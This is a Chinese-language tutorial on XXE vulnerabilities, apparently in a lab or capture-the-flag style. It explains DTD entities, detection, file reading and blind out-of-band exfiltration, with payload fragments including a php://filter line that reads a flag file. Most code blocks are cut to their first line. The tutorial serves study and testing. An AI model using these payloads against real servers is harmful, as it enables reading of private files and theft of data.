xml的基础知识
在了解xxe漏洞之前,需要明白一定的基础知识,那就是xml。
XML被设计为传输和存储数据,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。
XML文档结构
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
1 | DTD: |
DTD
文档类型定义(DTD)可定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于XML文档中(内部引用),也可作为一个外部引用。
内部声明DTD:
1 | <!DOCTYPE 根元素 [元素声明]> |
引用外部DTD:
1 | <!DOCTYPE 根元素 SYSTEM "文件名"> |
DTD文档中有很多重要的关键字如下:
DOCTYPE(DTD的声明)
ENTITY(实体的声明)
SYSTEM、PUBLIC(外部资源申请)
实体
实体可以简单的理解为变量,它必须在文档类型定义(DTD)中定义声明,可以在文档中的其他位置引用该变量的值
实体可按类型主要分为以下四种:
内置实体 (Built-in entities)
字符实体 (Character entities)
通用实体 (General entities)
参数实体 (Parameter entities)
从另一个角度来看,实体还可分为一般实体与参数实体:
一般实体只能在文档类型定义(DTD)中声明,在xml文档中引用;一般实体的声明语法为: ,引用一般实体的方式为: &实体名
参数实体只能在文档类型定义(DTD)中引用和声明;参数实体的声明语法: <!ENTITY %实体名 “实体内容”,引用参数实体的方式为: %实体名
实体根据引用方式,还可分为内部实体与外部实体
内部实体:
1 | <!ENTITY 实体名称 "实体的值"> |
外部实体:
1 | <!ENTITY 实体名称 SYSTEM "URI"> |
参数实体:
1 | <!ENTITY % 实体名称 "实体的值"> |
一般实体 + 内部实体:
1 | <?xml version="1.0" encoding="utf-8"?> |
参数实体 + 外部实体:
1 | <?xml version="1.0" encoding="utf-8"?> |
其中%name(参数实体)是在DTD中被引用的,而&name(一般实体)是在xml文档中被引用的
而xxe漏洞主要就是利用了DTD引用外部实体导致的漏洞,那么重点看下能引用哪些类型的外部实体
外部实体
若外部实体能在DTD中使用,那么URI中能写哪些类型的外部实体呢
主要的有file、http、https、ftp等等,不同的程序支持的协议当然不一样
其中php支持的协议会更多一些,但需要一定的扩展支持
xxe漏洞
XXE漏洞全称为XML External Entity Injection 即 xml 外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等。
xxe漏洞触发的点往往是可以上传xml文件的位置,没有上传文件进行过滤,导致可上传恶意xml文件。
xxe漏洞检测
第一步检测XML是否会被成功解析:
1 |
|
如果页面输出了my name is nMask,说明xml文件可以被解析
第二部检测服务器是否支持DTD引用外部实体:
1 |
通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求test.xml的请求
若支持引用外部实体,那么很有可能是存在xxe漏洞的
xxe漏洞利用
有回显任意文件读取
test.php:
1 |
|
payload:
1 |
|
但如果读取的文件中含有特殊符号(如 “ < > & “等),那么就会报错或如图
所以,我们可以将读取的文件定义为 “CDATA”,CDATA部分中的所有内容就会被解析器忽略,这样就可以读取文件了
将payload2.0修改为:
1 | <?xml version="1.0" encoding="utf-8"?> |
payload看起来好像没问题,但结果还是一样读取不出
xml 解析器有个限制就是不能在内部ENTITY中引用,“PEReferences forbidden in internal subset in Entity ”指的就是禁止内部参数实体引用。
那么我们就把内部换到外部来试试看
payload3.0:
1 | <?xml version="1.0" encoding="utf-8"?> |
evil.dtd:
1 | <!ENTITY all "%start;%goodies;%end;"> |
即可
无回显任意文件读取
既然没有回显数据,那我们就要想办法让服务器自己把数据往外带。
写两个外部参数实体,第一个用来请求本地数据内容,第二个用 http 协议或者其他协议把请求到的数据作为参数带到我们的 vps,这样就实现了数据外带了
test2.php
1 |
|
test.dtd
1 | <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/xxe/flag.txt"> |
send前面的 % 会在HTML实体转化成 %
payload:
1 | <!DOCTYPE convert [ |
在 payload 中可看到连续调用了三个参数实体 %remote;%int;%send;,这就是利用顺序,先调用%remote,调用后会请求远程服务器上的evil.dtd,类似与将evil.dtd包含进来,然后 %int 调用 evil.dtd 中的 %file,%file 就会去获取服务器上的指定文件,然后将 %file 的结果输入到 %send 中(因为实体的值中不能有 % ,所以将其转成html实体编码 % ),最后再调用 %send; 把我们读取到的数据发送到指定地址,利用log获取数据,从而实现外带数据的效果,解决XXE无回显的问题